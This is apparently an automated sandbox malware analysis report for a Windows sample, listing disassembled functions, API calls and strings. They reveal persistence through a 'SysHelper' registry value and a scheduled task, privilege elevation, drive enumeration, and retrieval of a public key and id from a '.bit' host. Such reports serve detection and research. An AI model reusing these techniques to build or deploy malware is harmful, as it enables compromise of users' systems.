std::exception::exception.LIBCMT ref: 026FFBF1

Part of subcall function 026E169C: std::exception::_Copy_str.LIBCMT ref: 026E16B5

__CxxThrowException@8.LIBCMT ref: 026FFC06

Strings

TeM, xrefs: 026FFBFE
TeM, xrefs: 026FFBE7, 026FFBFB

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: dff1e0a5e39a81313beaeec15a92df3531bba2e98048e52a4f49d6f68198b73a
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 0FD067B5C0020CBBCF00EFA5D459CDEBBB9AA05344B5084A6A91997241EA74A7499F98

Uniqueness

Uniqueness Score: -1.00%

Function 026BD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 026D197D: __wfsopen.LIBCMT ref: 026D1988

_fgetws.LIBCMT ref: 026BD15C

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 5dd28897fc7db981e1c6902de61b02dd4929c1967c346554cdf5d4af996a8ac6
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 3C91D3B1D00359ABCF22DFA4CC847EEB7B5AF05304F14052DE915AB341E776AA84CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 026BD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 026BD77E
_malloc.LIBCMT ref: 026BD7B2
_malloc.LIBCMT ref: 026BD7C1
_fprintf.LIBCMT ref: 026BD815

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 9badc1d7b9217d27ed261b6db277496a0ac9629ac59b82a2e3830eea63b3b131
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: A7A132B1C0024DDBEF12EFA4CC59BDEBB76AF15314F140028E5057A291D7B65688CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 026D2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 026D2B2E
__read_nolock.LIBCMT ref: 026D2BFE
__filbuf.LIBCMT ref: 026D2C21
_memset.LIBCMT ref: 026D2C65

Part of subcall function 026D5BA8: __getptd_noexit.LIBCMT ref: 026D5BA8

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 4dada9dd47a9ebf1c56e0117c692600f7812f1e3139df04ed0347ad85619b198
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 4551A170E0020DDBDB288F7989A066EB7B6AF41328F14872DEC35962D2D7B19D51CB44

Uniqueness

Uniqueness Score: -1.00%

Function 026F1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 026F137D

Part of subcall function 026F1A9D: __fltout2.LIBCMT ref: 026F1AC6

__cftog_l.LIBCMT ref: 026F13A3
__cftoe_l.LIBCMT ref: 026F13D5

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 9767430d58800dbf1ad0938cb293c02fba358fb04c248af49b36afc1ffd6cb44
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 2201363744014EFBCF565E84DC01CEE3F63BB1A394B488599FA6998920D336C5B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 02777A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02777A4B

Part of subcall function 02778140: ___BuildCatchObjectHelper.LIBCMT ref: 02778172
Part of subcall function 02778140: ___AdjustPointer.LIBCMT ref: 02778189

_UnwindNestedFrames.LIBCMT ref: 02777A62
___FrameUnwindToState.LIBCMT ref: 02777A74
CallCatchBlock.LIBCMT ref: 02777A98

Memory Dump Source

Source File: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_26b0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 0d5aa8a467153bddb4de6000695005fa46935fa60b807da38c17968e25c86f2e
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: A801E932100109BBDF12AF55CC04EDA7BBAFF48758F158015FD1865120D732E961EFA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sbvN2ih5AU.exePID: 7472, Parent PID: 7456COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15%
Total number of Nodes:	2000
Total number of Limit Nodes:	47

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,008BC018,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

7P, xrefs: 0041B164
<, xrefs: 0041A67B
C:\Program Files\Google\, xrefs: 0041AFB9
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
%username%, xrefs: 0041B283
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
x2Q, xrefs: 0041A856
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
list<T> too long, xrefs: 0041B669, 0041B673
IsAutoStart, xrefs: 0041A1D0, 0041A273
IsTask, xrefs: 0041A1EE, 0041A299
--ForNetRes, xrefs: 0041A22E
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
D:\Program Files (x86)\Google\, xrefs: 0041B085
--Service, xrefs: 0041A30B
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
I:\5d2860c89d774.jpg, xrefs: 0041B32F
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
--Admin, xrefs: 0041A1B4, 0041A632
D:\Program Files\Google\, xrefs: 0041B0EE
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
runas, xrefs: 0041A6CE
IsNotAutoStart, xrefs: 0041A645
IsNotTask, xrefs: 0041A654
--Task, xrefs: 0041A2CD
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
x*P, xrefs: 0041ACE4
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
F:\, xrefs: 0041B397
D:\Windows\, xrefs: 0041AFF3
--AutoStart, xrefs: 0041A2EC
C:\Windows\, xrefs: 0041AE0F
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
X1P, xrefs: 0041A485

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-774485112
Opcode ID: a6a04ef46d43349faf9b0c6b964418a89b27e1cfcddb91bcd85d34a9aed4ef2e
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: a6a04ef46d43349faf9b0c6b964418a89b27e1cfcddb91bcd85d34a9aed4ef2e
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00481920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,3100CE19), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

USER32.DLL, xrefs: 00481C31
$, xrefs: 00481F7E
CryptGenRandom, xrefs: 00481AE3
NETAPI32.DLL, xrefs: 004819A9
Heap32First, xrefs: 00481D8E
GetForegroundWindow, xrefs: 00481C4A
Thread32Next, xrefs: 00481E13
CreateToolhelp32Snapshot, xrefs: 00481D67
GetCursorInfo, xrefs: 00481C58
LanmanServer, xrefs: 00481A74
CryptAcquireContextW, xrefs: 00481AD5
Process32Next, xrefs: 00481DED
Heap32ListFirst, xrefs: 00481DB4
Heap32ListNext, xrefs: 00481DC7
Thread32First, xrefs: 00481E00
Module32Next, xrefs: 00481E39
ADVAPI32.DLL, xrefs: 00481989
LanmanWorkstation, xrefs: 00481A26
Process32First, xrefs: 00481DDA
Heap32Next, xrefs: 00481DA1
Module32First, xrefs: 00481E26
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
CryptReleaseContext, xrefs: 00481AF6
KERNEL32.DLL, xrefs: 0048199C
NetApiBufferFree, xrefs: 004819F0
CloseToolhelp32Snapshot, xrefs: 00481D7B
GetQueueStatus, xrefs: 00481C6B
NetStatisticsGet, xrefs: 004819E2

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

{"public_key":", xrefs: 0041EA2E, 0041EA8D
&first=false, xrefs: 0041E937
.bit/, xrefs: 0041E7A3
", xrefs: 0041ECA0
&first=true, xrefs: 0041E930
bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA
?pid=, xrefs: 0041E884
Microsoft Internet Explorer, xrefs: 0041E736
","id":", xrefs: 0041EBC5, 0041EC4C

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 451fb602ee6db0724337d2851135747165748af7917adf01f53bca77b1241bca
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: 451fb602ee6db0724337d2851135747165748af7917adf01f53bca77b1241bca
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 56.7, APIs: 24, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

2030-05-02T08:00:00, xrefs: 0040D737
PT5M, xrefs: 0040D5A1, 0040D66C
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
Author Name, xrefs: 0040D4C8
Time Trigger Task, xrefs: 0040D43C, 0040D973
Trigger1, xrefs: 0040D6FA
--Task, xrefs: 0040D8DD

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 8a2de3b4e8edfc4458d05c7407b8d359bd2b27e39876b0d8627c1435ad35d818
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: 8a2de3b4e8edfc4458d05c7407b8d359bd2b27e39876b0d8627c1435ad35d818
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 58767ee62d541c0ac93fa7b2988ab1e5126a7052be10478fd2962cce1534a85e
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 58767ee62d541c0ac93fa7b2988ab1e5126a7052be10478fd2962cce1534a85e
